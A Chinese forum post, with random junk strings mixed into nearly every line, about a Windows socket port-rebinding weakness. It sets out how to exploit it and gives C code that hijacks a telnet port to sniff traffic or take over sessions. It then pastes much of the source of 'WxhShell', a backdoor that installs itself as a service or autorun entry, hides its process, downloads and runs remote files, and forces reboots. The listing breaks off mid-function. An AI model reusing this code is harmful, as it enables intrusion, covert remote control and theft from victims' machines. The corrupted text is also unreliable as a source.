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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CiTjRJ-ZW)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `w/`qG:dK  
GV(@(bI*  
  saddr.sin_family = AF_INET; DSc:>G  
p:CpY'KV_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z 2Rg`1B  
)TV{n#n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R3ru<u>k&  
sqP (1|9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1*u i|fuK  
<zhN7="  
  这意味着什么?意味着可以进行如下的攻击: .iXI oka  
jj8h>"d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @O Rk  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) % C.I2J`_  
yp.\KLq8)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UA]U_P$c  
y0f"UH/   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P<{N)H 2r  
|Wzdu2T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^E349c-|  
%^ z## 7^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :q,tmk h  
gS$?#!f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N#"(  
U jrML  
  #include YqSkz|o}m  
  #include Y6r<+#V  
  #include x=~$ik++  
  #include    '#p2v'A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -VVJf5/  
  int main() CBvvvgIo  
  { >^q7:x\  
  WORD wVersionRequested; Uc<j{U ,  
  DWORD ret; S eTn]  
  WSADATA wsaData; XAF*jevr  
  BOOL val; qH1&tW$  
  SOCKADDR_IN saddr; E+xC1U 3  
  SOCKADDR_IN scaddr; NwPC9!*  
  int err; smTPca)7s  
  SOCKET s; hxQx$  
  SOCKET sc; EvQMt0[?EW  
  int caddsize; zUCtH*  
  HANDLE mt; <W<>=vDzyE  
  DWORD tid;   9C2DW,?  
  wVersionRequested = MAKEWORD( 2, 2 ); N);2 2-  
  err = WSAStartup( wVersionRequested, &wsaData ); N|53|H  
  if ( err != 0 ) { xvx+a0 A  
  printf("error!WSAStartup failed!\n"); d"Aer  
  return -1; @+P7BE}  
  } W|e$@u9  
  saddr.sin_family = AF_INET; aS,M=uqqK  
   >GV = %  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G34fxhh  
krI@N}OU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o@!Uds0  
  saddr.sin_port = htons(23); J;AwC>N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y3RaR 9  
  { LWp#i8,  
  printf("error!socket failed!\n"); 0v/}W(  
  return -1; z1R_a=7  
  } 1P[[PvkD6  
  val = TRUE; /3pvq%i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jj$D6f/mOG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ] 3UlF'{  
  { AYnk.H-v  
  printf("error!setsockopt failed!\n"); XV|u!'Ey  
  return -1; _2N7E#m"S  
  } ;#jE??E/:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {i09e1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R%\K<#^\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^< o"3?  
6Yu&'[?H$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -0 o1iU7  
  { #'&&&_Hu3  
  ret=GetLastError(); XD=p:Ezh  
  printf("error!bind failed!\n"); Ns}BE H  
  return -1; 4gkaCk{]  
  } U.,_zEbx,  
  listen(s,2); 6< T@\E  
  while(1) $>csm  
  { }> pNf  
  caddsize = sizeof(scaddr);  ^D.u   
  //接受连接请求 ft" t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @G&2Tbj[`  
  if(sc!=INVALID_SOCKET) [zv@}@$  
  { n 9X:s?B/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Op2@En|d  
  if(mt==NULL) U6/$CH<pe  
  { #o/  
  printf("Thread Creat Failed!\n"); Z>)M{25  
  break; Y"dUxv1Ap  
  } X}@'FxIF  
  } )=]u]7p}  
  CloseHandle(mt); -cL{9r&X  
  } ;[,r./XmH  
  closesocket(s); f+xhS,iDR  
  WSACleanup(); 4[o/p8*/  
  return 0; cU  
  }   kl0|22"Gz  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6myF!  H=  
  { J+o6*t2|  
  SOCKET ss = (SOCKET)lpParam; x $@Gp  
  SOCKET sc; ys~oJb~  
  unsigned char buf[4096]; &u}]3E'-k  
  SOCKADDR_IN saddr; :*6#(MX  
  long num; {^jk_G\ys  
  DWORD val; lI*uF~ 'D  
  DWORD ret; iu9<]1k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s`63 y&Z[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XJI ff$K  
  saddr.sin_family = AF_INET; h:3^FV&#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :)eU)r"s4  
  saddr.sin_port = htons(23); B65"jy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k`u.:C&  
  { ObyF~j}j  
  printf("error!socket failed!\n"); ["65\GI?  
  return -1; DbIn3/W Ne  
  } '] $mt  
  val = 100; =(cfo_B@K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?[z@R4at  
  { %m5&Y01  
  ret = GetLastError(); r 1x2)  
  return -1; 7~2c"WE  
  } E-?@9!2 &  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5%K(tRc|  
  { ucwUeRw,  
  ret = GetLastError(); kx.8VUoM V  
  return -1; ]qPrXuS/  
  } J7Y lmi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  Bl1^\[#  
  { 4u}jkd$]*  
  printf("error!socket connect failed!\n"); W0qn$H  
  closesocket(sc); >5c38D7k)  
  closesocket(ss); jM'(Qa  
  return -1; ["7]EW\!:  
  } >)6d~  
  while(1) lV ra&5  
  { p/WE[8U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .wvgH i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $z[r (a^a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kX8Ey  
  num = recv(ss,buf,4096,0); tB/'3#o  
  if(num>0) ,\^RyHg  
  send(sc,buf,num,0); :|TQi9L$rj  
  else if(num==0) \{K~x@`  
  break; ^9`S`Bhp  
  num = recv(sc,buf,4096,0); 9tBE=L=  
  if(num>0) iQ#dWxw4  
  send(ss,buf,num,0); $s,Az_bs  
  else if(num==0) <[Y@<  
  break; 4E 32DG*  
  } <C{uodFll  
  closesocket(ss); kBr?Q  
  closesocket(sc); G'c6%;0)  
  return 0 ; <<~swN  
  } o)r%4YOL  
x4^* YZc$,  
qtYVX:M@,  
========================================================== B +<i=w  
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下边附上一个代码,,WXhSHELL Dxp.b$0t  
GEbm$\  
========================================================== m&{%6  
v~`'!N8  
#include "stdafx.h" Qt(4N!j  
=Eb4Iyz  
#include <stdio.h> :vo#(  
#include <string.h> kB3@;z:  
#include <windows.h> 8Luw< Q  
#include <winsock2.h> ,WgEl4  
#include <winsvc.h> qx2M"uFJ  
#include <urlmon.h> 7rSads  
6 ~.{~+Bd  
#pragma comment (lib, "Ws2_32.lib") B82SAV/O  
#pragma comment (lib, "urlmon.lib") >4iVVs  
9~ r YLR(v  
#define MAX_USER   100 // 最大客户端连接数 8L _]_  
#define BUF_SOCK   200 // sock buffer GS&iSjw  
#define KEY_BUFF   255 // 输入 buffer ipH'}~=ID  
K!jMW  
#define REBOOT     0   // 重启 DC+l3N  
#define SHUTDOWN   1   // 关机 LnlDCbF;!  
i/{`rv*K[  
#define DEF_PORT   5000 // 监听端口 w6<zPrA  
7?W1i{(  
#define REG_LEN     16   // 注册表键长度 &)Z]nNVb  
#define SVC_LEN     80   // NT服务名长度 ?v@pB>NZ  
"*JyNwf  
// 从dll定义API i=AQ1X\s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a*bAf'=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;JV(!8[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3\E G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '8V>:dy>  
6#up BF:  
// wxhshell配置信息 _]6n]koD,  
struct WSCFG { AoFxho  
  int ws_port;         // 监听端口 <BX'Owbs!O  
  char ws_passstr[REG_LEN]; // 口令 ukwO%JAr  
  int ws_autoins;       // 安装标记, 1=yes 0=no `w K6B5>  
  char ws_regname[REG_LEN]; // 注册表键名 4ztU) 1  
  char ws_svcname[REG_LEN]; // 服务名 \Jm^XXgS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cTu"Tu\Qw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wNQhg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UtYwG#/w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U C..)9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 DW_G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TS49{^d$  
:`<ME/"YE  
}; o3,}X@p  
`g^bQ x  
// default Wxhshell configuration -APbN(Vi  
struct WSCFG wscfg={DEF_PORT, :O/QgGZN$  
    "xuhuanlingzhe", MNu\=p\Eq  
    1, s]'EIw}mo  
    "Wxhshell", {2T;^+KE  
    "Wxhshell", qj:\ )#I  
            "WxhShell Service", R@A"U[*  
    "Wrsky Windows CmdShell Service", R>y/Y<5=  
    "Please Input Your Password: ", H*E4+3y  
  1, ..;ep2jSs  
  "http://www.wrsky.com/wxhshell.exe", s_4y^w]aX  
  "Wxhshell.exe" "pTU&He  
    }; ),5|Ves;t[  
cg).b?g  
// 消息定义模块 &at>sQ'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]%eyrbU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 91\]Dg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bhg,P.7  
char *msg_ws_ext="\n\rExit."; kX "*kD  
char *msg_ws_end="\n\rQuit."; ?G<.W[3  
char *msg_ws_boot="\n\rReboot..."; H C(7,3  
char *msg_ws_poff="\n\rShutdown..."; <Wa7$hF  
char *msg_ws_down="\n\rSave to "; \Y^GA;AMQQ  
Ngw/H)<c  
char *msg_ws_err="\n\rErr!"; ~U+W4%f8  
char *msg_ws_ok="\n\rOK!"; RhD   
z#Db~  
char ExeFile[MAX_PATH]; |"i"8~/@<  
int nUser = 0; Yx':~  
HANDLE handles[MAX_USER]; nNpXkI:  
int OsIsNt; PsO>&Te2  
3e ?J#;  
SERVICE_STATUS       serviceStatus; g66x;2Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5#B M  
Zr|z!S?aSC  
// 函数声明 W,bu=2K6  
int Install(void); bTc^ huP  
int Uninstall(void); MwTouEGGgA  
int DownloadFile(char *sURL, SOCKET wsh); $VnPs!a  
int Boot(int flag); qc"PTv0q  
void HideProc(void); Kdr} 7#c  
int GetOsVer(void); IXC2w *'m  
int Wxhshell(SOCKET wsl); ; fxrOfb  
void TalkWithClient(void *cs); M@<r8M]G  
int CmdShell(SOCKET sock); a,eJO??  
int StartFromService(void); NN] 8T  
int StartWxhshell(LPSTR lpCmdLine); bsdT>|gW  
G0b##-.'^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DyM<aT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h {VdW}g  
K8 Hj)$E61  
// 数据结构和表定义 Rv Uw,=  
SERVICE_TABLE_ENTRY DispatchTable[] = ~'VVCtA  
{ KS Q*HO)5  
{wscfg.ws_svcname, NTServiceMain}, Ws;X;7tS  
{NULL, NULL} 8c5=Px2\  
}; +@qIDUiF3  
_WN\9<  
// 自我安装 0;tu}]jnN  
int Install(void) >Y=qSg>Ik  
{ o(eh.  
  char svExeFile[MAX_PATH]; _|wnmeL*  
  HKEY key; tOxTiaa=  
  strcpy(svExeFile,ExeFile); 04#<qd&ob@  
Tl L\&n.$  
// 如果是win9x系统,修改注册表设为自启动 7=a=@D[  
if(!OsIsNt) { 4a zqH;i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y1#*c$ O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sGO+O$J  
  RegCloseKey(key); >oL| nwn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VU;98  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =k##*%  
  RegCloseKey(key); {Lugdf'  
  return 0; ?eDZ-u9)  
    } &EJ/Rl  
  } k|3hs('y|  
} cQrXrij;!  
else { 349BQ5ND  
9yWSlbPr]  
// 如果是NT以上系统,安装为系统服务 Dn:1Mtj-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?$.x%G+  
if (schSCManager!=0) 21 z@-&Oq  
{ 8u7QF4 Id  
  SC_HANDLE schService = CreateService 9gac7(2`)  
  ( He1~27+99  
  schSCManager, 3hfv^H  
  wscfg.ws_svcname, 5,9cD`WR^  
  wscfg.ws_svcdisp, o]@'R<F(u  
  SERVICE_ALL_ACCESS, ?G 'sb}.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K&BaGrR  
  SERVICE_AUTO_START, ?^WX] SAl  
  SERVICE_ERROR_NORMAL, 5V8`-yO9  
  svExeFile, S~U5xM^s  
  NULL, A@jBn6  
  NULL, ~T!D:2G  
  NULL, @T] G5|\ok  
  NULL, S2:G#%EAa  
  NULL JfRqOEP4Y  
  ); ufo\p=pGG  
  if (schService!=0) A9y@v{txN  
  { ]sJjV A  
  CloseServiceHandle(schService); Uj^Y\w-@Z  
  CloseServiceHandle(schSCManager); =Y*zF>#lP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5h6-aQU[  
  strcat(svExeFile,wscfg.ws_svcname); T[kS;-x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i4lB ]k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &n]]OPo  
  RegCloseKey(key); g=jB'h?  
  return 0; <vd}oiB@  
    } 85BB{ T;  
  } }c=YiH,o  
  CloseServiceHandle(schSCManager); ??z&w`Yy,  
} ]0=THq\H  
} sN ZOm$  
J|C CTXT  
return 1; 3{M0iNc1  
} 0Ok[`r`  
2]V8-  
// 自我卸载 X0]Se(  
int Uninstall(void) m@"p#pt(_  
{ Kh{_BdN  
  HKEY key; r=#v@]z B  
`$ pJ2S  
if(!OsIsNt) { @ 1FWBH~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jQ['f\R  
  RegDeleteValue(key,wscfg.ws_regname); [ nLd>2P  
  RegCloseKey(key); oxLO[js  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x LGMN)@r  
  RegDeleteValue(key,wscfg.ws_regname); rge s`&0  
  RegCloseKey(key); 0s6eF+bs  
  return 0; /4$ c-k  
  } |Elz{i-  
} ^ # 3,*(S  
} * yGlX[  
else { WnhH]WY  
Rm Q>.?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2=$ F*B>9  
if (schSCManager!=0) )h1 `?q:5  
{ 2{S*$K[M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .}Hs'co  
  if (schService!=0) \zzPsnFIg  
  { p1s|JI  
  if(DeleteService(schService)!=0) { [6)vD@  
  CloseServiceHandle(schService); V o%GO 9b;  
  CloseServiceHandle(schSCManager); = Q"(9[Az  
  return 0; U["IXR#  
  } j.:f =`xf  
  CloseServiceHandle(schService); P_(< ?0l  
  } {6iHUK   
  CloseServiceHandle(schSCManager); n1)].`  
} 0>:`|IGnT2  
} NN~PWy1opa  
$'KhA6u  
return 1; caZEZk#r;  
} GK&R.R]  
CJ[e^K{  
// 从指定url下载文件 Ni#y=cb  
int DownloadFile(char *sURL, SOCKET wsh) v1$ }JX   
{ :<uCi\9(  
  HRESULT hr; LG'1^W{a  
char seps[]= "/"; :|Bzbn=N2  
char *token; t![972.&  
char *file; 1pT/`x  
char myURL[MAX_PATH]; N@8tf@BT   
char myFILE[MAX_PATH]; ^9XAWj"  
2ZKy7p0/  
strcpy(myURL,sURL); :-~x~ah-  
  token=strtok(myURL,seps); XlJ+:st  
  while(token!=NULL) 5D>cbzP@  
  { XQcE  ZJ2  
    file=token; *-gmWATC6  
  token=strtok(NULL,seps); Y^gIvX  
  } j&0t!f.Rv  
<<6gsKP  
GetCurrentDirectory(MAX_PATH,myFILE); L>!MEMqm  
strcat(myFILE, "\\"); 1wW4bg 5  
strcat(myFILE, file); c}w[ T  
  send(wsh,myFILE,strlen(myFILE),0); [yVcH3GcjI  
send(wsh,"...",3,0); <n0j'P>1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :KsBJ>2ck  
  if(hr==S_OK) 4}Hf"L[ l  
return 0; Co`:D  
else X iM{YZ`B  
return 1; ar@ysBy  
M+lI,j+  
} #J%Fi).^)  
to)Pl}9QkK  
// 系统电源模块 &sGLm~m#  
int Boot(int flag) Zk0?=f?j  
{ ?{>5IjL)en  
  HANDLE hToken; \?AA:U*  
  TOKEN_PRIVILEGES tkp; kaVYe)~  
v[>8<z8  
  if(OsIsNt) { %Z(lTvqG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B9oB5E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Yfo $S_  
    tkp.PrivilegeCount = 1; YrTjHIn~w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2hT H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I# |ib  
if(flag==REBOOT) { Og kb N`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (Jk:Qz5  
  return 0; 2_){4+,fu  
} i(kr#XsU  
else { 42 Sk`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LdyE*u_  
  return 0; =[o/D0-Kn  
} 0*o=JM]  
  } G[!<mh4h|  
  else { %`:+A?zL  
if(flag==REBOOT) { KQ.cd]6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IFWP&20  
  return 0; ~<[]l~`  
} iPrAB*  
else { jce2lXMm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n/IDq$/P  
  return 0; r-o6I:y  
} !Ly1!;<  
} \K(# r=  
dH0wVI<z  
return 1; RTTEAh:.  
} 'w}/ o+x@  
znd fIt^  
// win9x进程隐藏模块 '8fL)Zk  
void HideProc(void) D]d2opBLj  
{ SZD@<3Nb  
YR$d\,#R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ">S.~'ds  
  if ( hKernel != NULL ) +6 x:+9S  
  { |C;*GeyS;J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V$ac}A,!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |HK/*B  
    FreeLibrary(hKernel); l # F.S5i  
  } GK:pt8=  
U`ELd:  
return; D~%h3HM  
} pw1&WP&?3  
{NV=k%MTmi  
// 获取操作系统版本 -Tr*G4  
int GetOsVer(void) 5[$jrG\!  
{ >]WQ1E[=  
  OSVERSIONINFO winfo; 5K?%Eo72!=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +)TOcxF%  
  GetVersionEx(&winfo); yy|F6Pq3`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AN-;*n<'  
  return 1; `<d{(9:+  
  else 6w^Fee`>]  
  return 0; gNzamorv[  
} \+sP<'~M  
:KJZo,\  
// 客户端句柄模块 N^K@$bs4^  
int Wxhshell(SOCKET wsl) Hsz).u  
{ '} LAZQ"  
  SOCKET wsh; e5fzV.'5  
  struct sockaddr_in client; $9O%,U@  
  DWORD myID; :[7.YQ   
GFtE0IQ  
  while(nUser<MAX_USER) L<TL6  
{ _M7NL^B&  
  int nSize=sizeof(client); Fs)m;C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .=4k'99,  
  if(wsh==INVALID_SOCKET) return 1; 1]Gp \P}  
UI.>BZ6}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uSK<{UT~3  
if(handles[nUser]==0) $WK~|+"{>  
  closesocket(wsh); ~gvw6e*[  
else {F+iL&e)  
  nUser++; :HG5{zP  
  } rui]_Fn]I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -dsE9)&8DX  
]AzDkKj  
  return 0; uPtS.j=  
} F^|4nBd*ub  
6)~J5Fb  
// 关闭 socket \)n'Ywr  
void CloseIt(SOCKET wsh) >0qe*4n|M  
{ G8_|w6  
closesocket(wsh); . 'rC'FT  
nUser--; SV96eYT<  
ExitThread(0); vS'5Lm  
} ,\n%e'  
A&6qt  
// 客户端请求句柄 \4|o5,+(@  
void TalkWithClient(void *cs) |cUBS)[)X  
{ iZ-"l3) D  
|VD}:  
  SOCKET wsh=(SOCKET)cs; > H(o=39s  
  char pwd[SVC_LEN]; vL"[7'  
  char cmd[KEY_BUFF]; fbK`A?5K  
char chr[1]; ON<X1eU  
int i,j; OAXF=V F#  
vtVc^j4  
  while (nUser < MAX_USER) { b^]@8I[M  
/DBldL7yi  
if(wscfg.ws_passstr) { $q~:%pQv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gt;59}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1ti4 ZM  
  //ZeroMemory(pwd,KEY_BUFF); 3A.T_mGCs  
      i=0; {y k0Zef_  
  while(i<SVC_LEN) { jh&WL  
4w5mn6MxR  
  // 设置超时 KnuQ 5\y  
  fd_set FdRead; i'bUX=JK  
  struct timeval TimeOut; 9n#Em  
  FD_ZERO(&FdRead); ![*7HE>},  
  FD_SET(wsh,&FdRead); Pe_FW8e#J  
  TimeOut.tv_sec=8; 'u{DFMB-A  
  TimeOut.tv_usec=0; d]6#pSE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U}Aoz|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fb{kql=  
E|fQbkfw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J<'I.KZ\z  
  pwd=chr[0]; I2PFJXp_]n  
  if(chr[0]==0xd || chr[0]==0xa) { S*-/#j  
  pwd=0; hO@VYO   
  break; +kK6G#c  
  } A(Ss:7({  
  i++; _7LZ\V+MLW  
    } 1Xi.OGl  
zn@yt%PCV  
  // 如果是非法用户,关闭 socket + (|6Wv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JxM[LvVi  
} E}WO?xxv74  
$m-rn'Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h!L6NS_Q,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zU)Ib<$  
4D-4BxN*  
while(1) { H_CX5=Nq^  
nmZJ%n  
  ZeroMemory(cmd,KEY_BUFF); y`OL^D4  
06#40-   
      // 自动支持客户端 telnet标准    )6 _+  
  j=0; 4/tp-dBip  
  while(j<KEY_BUFF) { PV_q=70%T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `fRp9o/  
  cmd[j]=chr[0]; oG_-a(N  
  if(chr[0]==0xa || chr[0]==0xd) { xiW;Y{kZ  
  cmd[j]=0; s;;"^5B.  
  break; T$ )dc^  
  } _v9P0W^.7  
  j++; /{9"O y7E  
    } _a 40lcP  
VV1I2YcKt  
  // 下载文件 \)Bws `  
  if(strstr(cmd,"http://")) { oHbG-p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FX#fh 2  
  if(DownloadFile(cmd,wsh)) #AJo75E%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![,W?  
  else /.u0rxoRP}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DJmT]Q]o)  
  } &~xzp^&  
  else { =R  <X!@  
/T_ G9zc  
    switch(cmd[0]) { `IQ76Xl  
  :sY pZX1  
  // 帮助 XJ`!d\WL/!  
  case '?': { > v~?Vd(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5k^UZw  
    break; `]8z]PD  
  } 9"H]zfW  
  // 安装 ;m+*R/  
  case 'i': { 0;kp`hB  
    if(Install()) $# /-+>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9F^"7Q~C  
    else w<ol$2&B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / ao|v  
    break; !Deg!f\g  
    } BSGC.>$s  
  // 卸载 yR Zb_Mq9U  
  case 'r': { tC,R^${#  
    if(Uninstall()) 5Cp6$V|/kv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $dp;$X3  
    else x@ZxV*T^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kyFq  
    break; (0=e ,1 n  
    } vncak  
  // 显示 wxhshell 所在路径 /@<&{_sybp  
  case 'p': { ugwZAC  
    char svExeFile[MAX_PATH]; XRMYR97  
    strcpy(svExeFile,"\n\r"); FKOTv2  
      strcat(svExeFile,ExeFile); 12yr_   
        send(wsh,svExeFile,strlen(svExeFile),0); SGd[cA Ko  
    break; _^2rRz  
    } fU )@Lj1Wo  
  // 重启 #]iSh(|8  
  case 'b': { 6Ch [!=p{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DO#!ce  
    if(Boot(REBOOT)) f+/AD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )NoNgU\7!  
    else { R3;,EL{H&  
    closesocket(wsh); FG^ Jh5  
    ExitThread(0); ld-Cb 3R^  
    } 6,707h  
    break; '9+JaB  
    } }J~ d6m  
  // 关机 R<J1bH1n3  
  case 'd': { _7h:NLd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g8JO/s5xV  
